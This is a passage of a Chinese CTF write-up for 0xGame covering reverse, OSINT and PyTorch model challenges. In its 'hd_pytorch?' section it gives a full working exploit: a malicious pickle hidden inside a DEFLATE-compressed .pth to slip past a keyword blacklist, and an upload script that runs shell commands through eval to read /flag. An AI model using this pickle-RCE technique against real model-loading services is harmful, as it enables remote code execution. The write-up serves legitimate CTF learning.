v = int.from_bytes(data[pos:pos + 4], "little", signed=True)
pos += 4
return v

def rlong():
nonlocal pos
n = int.from_bytes(data[pos:pos + 4], "little", signed=True)
pos += 4
neg, n, val = n < 0, abs(n), 0
for i in range(n):
val |= int.from_bytes(data[pos:pos + 2], "little") << (15 * i)
pos += 2
return -val if neg else val

def obj():
nonlocal pos
t = data[pos]
pos += 1
c = chr(t & 0x7F)
if c == "N":
return None
if c == "i":
return i32()
if c == "l":
return rlong()
if c == "s":
n = i32(); v = data[pos:pos + n]; pos += n; return v
if c in "uAa":
n = i32(); v = data[pos:pos + n]; pos += n; return v.decode("utf8", "replace")
if c in "zZ":
n = data[pos]; pos += 1; v = data[pos:pos + n]; pos += n; return v.decode("utf8", "replace")
if c == "r":
return refs[i32()]
if c == "c": # 嵌套 code 对象
for _ in range(5):
i32()
return obj()
if c in "()":
n = i32() if c == "(" else data[pos]
if c == ")":
pos += 1
return [obj() for _ in range(n)]
raise ValueError("unhandled marshal tag %r at %d" % (c, pos - 1))

assert data[pos] & 0x7F == ord("c"), "not a code object at offset 12"
pos += 1
fields = [i32() for _ in range(5)] # argcount, kwonly, nlocals, stacksize, flags
print("[*] code fields:", fields)
obj() # co_code
consts = obj()
obj() # co_names
return consts

def main():
force = "--attack" in sys.argv
keys = recover_keys(force)
print("[*] keys:", *keys)
decrypt(keys)
pyc = extract()
print("[*] magic:", pyc[:4].hex(), "(CPython 3.6 = 330d0d0a)")
consts = parse_pyc(pyc)
# print((consts[0] ^ consts[1]).to_bytes(consts[2], consts[3]).decode())
flag = (consts[0] ^ consts[1]).to_bytes(consts[2], consts[3]).decode()
print("FLAG:", flag)

if __name__ == "__main__":
main()

1
0xGame{py36_12byt3_h34d3r_tr4p}

Osint

Spring的旅程-1

image\.png

image\.png

  1. 旅程的起点

查了一下,这个Spring师傅是南邮的,盲猜一波是在南京,还真对了。

  1. 博客里的足迹

其实这一部分是我最先解出来的,因为题目说nctf,然后我一搜索就跳出了出题师傅的博客,点进去后刚好发现了一模一样的图片

image\.png

然后第一问就是我看博客刚开头说写完wp出去吃饭,找了一下nctf并没有线下赛,那就直接猜出题师傅学校所在地了

  1. 镜头背后的设备

这里一部分纯送分来的

image\.png

  1. 定格的那一秒

image\.png

  1. 夜色中的目的地

这一部分豆包立大功

image\.png

  1. 藏起来的彩蛋

随波逐流直接扫出来了,base64一下就出来了

image\.png

Spring的旅程-2

看到北山大厦跟大钟楼,交给豆包,豆包给我了一个大致定位,然后我在地图上查找,找到大概在黄龙体育馆,但是md5对不上,把获得的所有信息给gpt后,他通过暴力枚举得出了确切的flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const crypto = require('node:crypto');
const fs = require('node:fs');
const target = 'fcfae8501b64417c529ba930fe683bb8';
const [xmin, xmax, ymin, ymax] = process.argv.slice(2).map(Number);
let checked = 0;
const start = Date.now();

for (let x = xmin; x <= xmax; x++) {
for (let y = ymin; y <= ymax; y++) {
const flag = `0xGame{${x},${y}}`;
if (crypto.createHash('md5').update(flag).digest('hex') === target) {
console.log('MATCH', flag);
fs.writeFileSync('verified_flag.txt', flag + '\n');
process.exit(0);
}
checked++;
}
if ((x - xmin) % 500 === 0) {
console.log({ x, checked, seconds: (Date.now() - start) / 1000 });
}
}

console.log('No match', { checked, seconds: (Date.now() - start) / 1000 });

运行命令

1
node solve_hash.js 13372500 13375500 3515500 3519000
1
0xGame{13374315,3517141}

AI

ez_pytorch

  1. 分析加载脚本与文件结构

load.py 内容如下:

1
2
3
4
5
6
import torch

model = torch.load("model.pth", weights_only=True)
print("model loaded:", model)

# better experience: Python3.11+ torch >= 2.6

关键参数是 weights_only=True。它使用受限制的反序列化器,只允许加载张量、部分基础类型及明确允许的对象,不允许任意调用 exec。

附件 model.pth 大小为 3215 字节,实际是 ZIP 容器,包含:

1
2
3
4
5
6
7
8
9
10
model/data.pkl
model/.format_version
model/.storage_alignment
model/byteorder
model/version
model/.data/serialization_id
model/data/0
model/data/1
model/data/2
model/data/3

可以通过 Python 标准库 zipfile 读取这些成员。这里不需要安装 PyTorch,也不需要调用 torch.load。

  1. 定位 pickle 中的执行逻辑

静态读取 model/data.pkl,可以看到其开头引用了 builtin.exec,后面跟着一段 Python 源码。根据文件中的指令字节,其主要结构为:

1
2
3
4
5
6
7
8
9
10
PROTO       2
GLOBAL '__builtin__ exec'
BINPUT 0
BINUNICODE '<内嵌 Python 源码>'
BINPUT 1
TUPLE1
BINPUT 2
REDUCE
BINPUT 3
STOP

GLOBAL 将函数引用压入栈,BINUNICODE 压入源码字符串,TUPLE1 将字符串包装成单元素参数元组。REDUCE 随后取出函数和参数并调用,效果相当于:

1
exec(内嵌源码)

因此,这个文件加载失败的原因是其包含执行代码的 pickle 指令,被 weights_only=True 拦截。具体异常文字可能随 PyTorch 版本变化;本次分析通过静态检查确认了该原因,没有运行原始加载脚本。

需要区分的是:reduce 通常在序列化阶段描述对象的重建方式;反序列化阶段实际执行的是已写入 pickle 字节流中的指令。本题的关键指令就是 REDUCE。

内嵌代码会读取 model/data/0 至 model/data/3,分别解码后拼接 flag。四段数据的还原方式如下,其中下标 i 从 0 开始:

  1. 编写静态提取脚本

根据上述逻辑编写 solve.py。脚本直接读取 ZIP 成员,仅进行字节运算,不反序列化 data.pkl:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
"""Extract the challenge flag without unpickling or requiring PyTorch."""
import base64
import zipfile
from pathlib import Path


def main():
with zipfile.ZipFile(Path(__file__).with_name("model.pth")) as archive:
b0, b1, b2, b3 = (
archive.read(f"model/data/{i}") for i in range(4)
)

key = (0x5A, 0xA3, 0x3C)
p0 = bytes(value ^ key[i % 3] for i, value in enumerate(b0))
p1 = base64.b64decode(b1[::-1])
p2 = bytes(
(value - i) & 0xFF
for i, value in enumerate(bytes.fromhex(b2.decode()))
)

encoded = base64.b64decode(b3)
p3 = bytes(
value ^ (0xA5 if i == 0 else encoded[i - 1])
for i, value in enumerate(encoded)
)

print((p0 + p1 + p2 + p3).decode())


if __name__ == "__main__":
main()
1
0xGame{3z_p1ckl3_fOr_pyt0rch}

hd_pytorch?

用一批最小 pickle 探针逐条试探,结论是对文件原始字节做子串黑名单(不是按 pickle 语义分析):

两个关键结论:

  1. 黑名单含 exec、os、system、subprocess、getattr 等,但 **不含 eval / open / ****compile**;

  2. 扫描只看文件原始字节,与文件是否真是 pickle 无关(纯文本里出现 exec 也被拦)。

torch 的 .pth 本质是 ZIP,data.pkl 是其成员。torch 保存时用 ZIP_STORED(不压缩),但读取时对 DEFLATE 完全支持。

所以把 data.pkl 用 DEFLATE 压缩写进 ZIP:磁盘上的原始字节是压缩流,看不到任何关键词;torch 解压后照常反序列化。

对比实验(同一份 exec payload):

绕过成立。ZIP 布局需与 torch.save 一致,否则报错:

  • 成员必须在子目录下(model/data.pkl),否则 file in archive is not in a subdirectory: data.pkl;

  • 必须有 model/version(内容 b"3\n")和 model/byteorder(内容 b"little",不带换行,否则 Unknown endianness type: little)。

通过扫描后上传一个 exec payload,返回的不是加载失败,而是:

1
2
[!] 警告:检测到不安全加载
该文件包含 weights_only 白名单之外的对象,已降级为兼容模式加载。

即服务端流程是:

1
2
3
4
try:
obj = torch.load(f, weights_only=True)
except Exception:
obj = torch.load(f, weights_only=False) # 降级 → 任意 pickle RCE

所谓的”安全加载”只体现在扫描器和 weights_only=True 的第一次尝试上;一旦不通过就退回完全不设防的 weights_only=False。绕过扫描器 = 直接 RCE,weights_only 白名单在这里形同虚设。

1
2
# 等价 __reduce__ = (builtins.eval, ("open('/flag').read()",))
PROTO2 + GLOBAL("builtins","eval") + BINUNICODE("open('/flag').read()") + TUPLE1 + REDUCE + STOP

ls -la / 显示 /flag(45 字节,-r--r--r--),确认根目录。

1
0xGame{ed03409c-4359-4155-a8b7-4500812a7295}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import io
import re
import struct
import sys
import urllib.request
import uuid
import zipfile

DEFAULT_URL = "http://13371-8599a8cf-8abf-49b9-a4b5-424a2224e8cf.challenge.ctfplus.cn/"
PREFIX = "model"

def pickle_reduce(module: str, func: str, arg: str) -> bytes:
"""构造 PROTO2 pickle:module.func(arg) —— 等价 __reduce__ = (func, (arg,))。"""
return (
b"\x80\x02"
+ b"c" + module.encode() + b"\n" + func.encode() + b"\n"
+ b"X" + struct.pack("<I", len(arg)) + arg.encode()
+ b"\x85R."
)

def build_pth(data_pkl: bytes, compress=zipfile.ZIP_DEFLATED) -> bytes:
"""按 torch.save 的 zip 布局打包;压缩 data.pkl 是绕过黑名单的关键。"""
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", compress) as z:
z.writestr(f"{PREFIX}/data.pkl", data_pkl)
z.writestr(f"{PREFIX}/version", b"3\n")
z.writestr(f"{PREFIX}/byteorder", b"little")
z.writestr(f"{PREFIX}/.format_version", b"1")
z.writestr(f"{PREFIX}/.storage_alignment", b"64")
z.writestr(f"{PREFIX}/.data/serialization_id", b"0" * 40)
return buf.getvalue()

def multipart(field: str, filename: str, content: bytes):
b = uuid.uuid4().hex
body = (
f"--{b}\r\n"
f'Content-Disposition: form-data; name="{field}"; filename="{filename}"\r\n'
f"Content-Type: application/octet-stream\r\n\r\n"
).encode() + content + f"\r\n--{b}--\r\n".encode()
return body, f"multipart/form-data; boundary={b}"

def upload(url: str, filename: str, content: bytes) -> str:
body, ctype = multipart("file", filename, content)
req = urllib.request.Request(url.rstrip("/") + "/upload", data=body,
headers={"Content-Type": ctype})
with urllib.request.urlopen(req, timeout=60) as r:
return r.read().decode("utf-8", "replace")

def main():
url = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_URL

# 一次请求里把「读 flag」和「列根目录」都做了,结果拼成字符串回显
code = (
"__import__('os').popen('cat /flag /flag.txt 2>/dev/null; echo ---; ls -la /').read()"
)
payload = build_pth(pickle_reduce("builtins", "eval", code))

out = upload(url, "exploit.pth", payload)
print(out.strip())
m = re.search(r"0xGame**\{**[^}]+**\}**", out)
if m:
print("\n[+] FLAG:", m.group(0))

if __name__ == "__main__":
main()

Magical Large Potato!

附件大小为 339,310 字节。虽然扩展名是 .pth,但文件实际使用了 PyTorch 常见的 ZIP 序列化格式。先查看归档内容:

1
tar -tf Magic_Large_Potato.pth

其中与分析有关的文件为:

1
2
3
4
5
Magic_Large_Potato/data.pkl
Magic_Large_Potato/byteorder
Magic_Large_Potato/data/0
...
Magic_Large_Potato/data/8

data.pkl 保存对象结构、参数名称和张量形状,data/0 到 data/8 保存实际张量数据。检查 pickle 内容,发现顶层对象包含:

  • magic1:模型的 state_dict,包含嵌入层及全连接层参数。

  • magic2:整数 23。

参数形状如下:

可以据此还原出网络的维度变化:

1
2
3
4
5
6
7
8
9
10
11
12
13
位置编号 i
↓
Embedding(23, 32)
↓
Linear(32, 128) → 激活函数
↓
Linear(128, 256) → 激活函数
↓
Linear(256, 128) → 激活函数
↓
Linear(128, 100)
↓
argmax → 字符类别

嵌入表有 23 行,恰好与 magic2 相同。因此可以提出一个假设:模型输入是 flag 中的字符位置,输出是该位置对应的字符。只要枚举 0 到 22,就能逐个恢复字符。

需要注意,state_dict 不包含无参数激活函数的具体类型。deep_mlp 中带权重的层编号为 0、2、4、6,说明层间可能插入了激活函数,但仅凭编号无法确定是哪一种。这里尝试常见的 ReLU,实际推理结果可以恢复完整 flag。

最后一层有 100 个输出类别,这与 Python 的 string.printable 长度一致:

1
2
3
4
5
6
7
8
9
10
import string

assert len(string.printable) == 100
assert string.printable == (
string.digits
+ string.ascii_lowercase
+ string.ascii_uppercase
+ string.punctuation
+ string.whitespace
)

于是尝试将模型预测出的类别编号作为 string.printable 的索引。例如:

前几个输出经映射后恰好形成 0xGame{,说明这一字符表假设与 flag 格式吻合。

对每个位置 i,首先取嵌入矩阵第 i 行作为 32 维输入向量。随后计算四个全连接层,前三层之后使用 ReLU:

1
2
3
4
5
6
x = embedding[i]
x = ReLU(W0 · x + b0)
x = ReLU(W2 · x + b2)
x = ReLU(W4 · x + b4)
logits = W6 · x + b6
character = string.printable[argmax(logits)]

PyTorch 的全连接层权重形状是 [输出维度, 输入维度],所以输出第 r 个分量为:

1
y[r] = bias[r] + Σ weight[r, c] × x[c]

这里只需要最大分数对应的类别。Softmax 不改变各类别分数的大小顺序,因此可以直接对 logits 取 argmax。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
const fs = require('fs');
const zlib = require('zlib');
const raw = fs.readFileSync('Magic_Large_Potato.pth');
function zipEntries(raw) {
let end = raw.length - 22;
while (end >= 0 && raw.readUInt32LE(end) !== 0x06054b50) end--;
if (end < 0) throw new Error('Missing ZIP directory');
let p = raw.readUInt32LE(end + 16);
const out = {};
for (let n = 0; n < raw.readUInt16LE(end + 10); n++) {
const method = raw.readUInt16LE(p + 10), size = raw.readUInt32LE(p + 20);
const nl = raw.readUInt16LE(p + 28), el = raw.readUInt16LE(p + 30), cl = raw.readUInt16LE(p + 32);
const name = raw.subarray(p + 46, p + 46 + nl).toString();
const lp = raw.readUInt32LE(p + 42);
const start = lp + 30 + raw.readUInt16LE(lp + 26) + raw.readUInt16LE(lp + 28);
const data = raw.subarray(start, start + size);
out[name] = method === 0 ? data : method === 8 ? zlib.inflateRawSync(data) : (() => {throw new Error('ZIP method');})();
p += 46 + nl + el + cl;
}
return out;
}
const entries = zipEntries(raw);
const tensors = Array.from({length:9}, (_,i) => {
const b = entries['Magic_Large_Potato/data/' + i];
return Array.from({length:b.length/4}, (_,j)=>b.readFloatLE(j*4));
});
function linear(x,w,b) {return b.map((v,i)=>x.reduce((s,t,j)=>s+t*w[i*x.length+j],v));}
const ids = [];
for (let i=0;i<23;i++) {
let x = tensors[0].slice(i*32,(i+1)*32);
for (let l=0;l<4;l++) {
x = linear(x,tensors[1+l*2],tensors[2+l*2]);
if (l<3) x=x.map(v=>Math.max(0,v));
}
const ranked=x.map((v,i)=>[v,i]).sort((a,b)=>b[0]-a[0]);
ids.push(ranked[0][1]);
}
const printable='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\v\f';
console.log(ids.map(i=>printable[i]).join(''));
1
0xGame{MLP_1s_s0_m4g1c}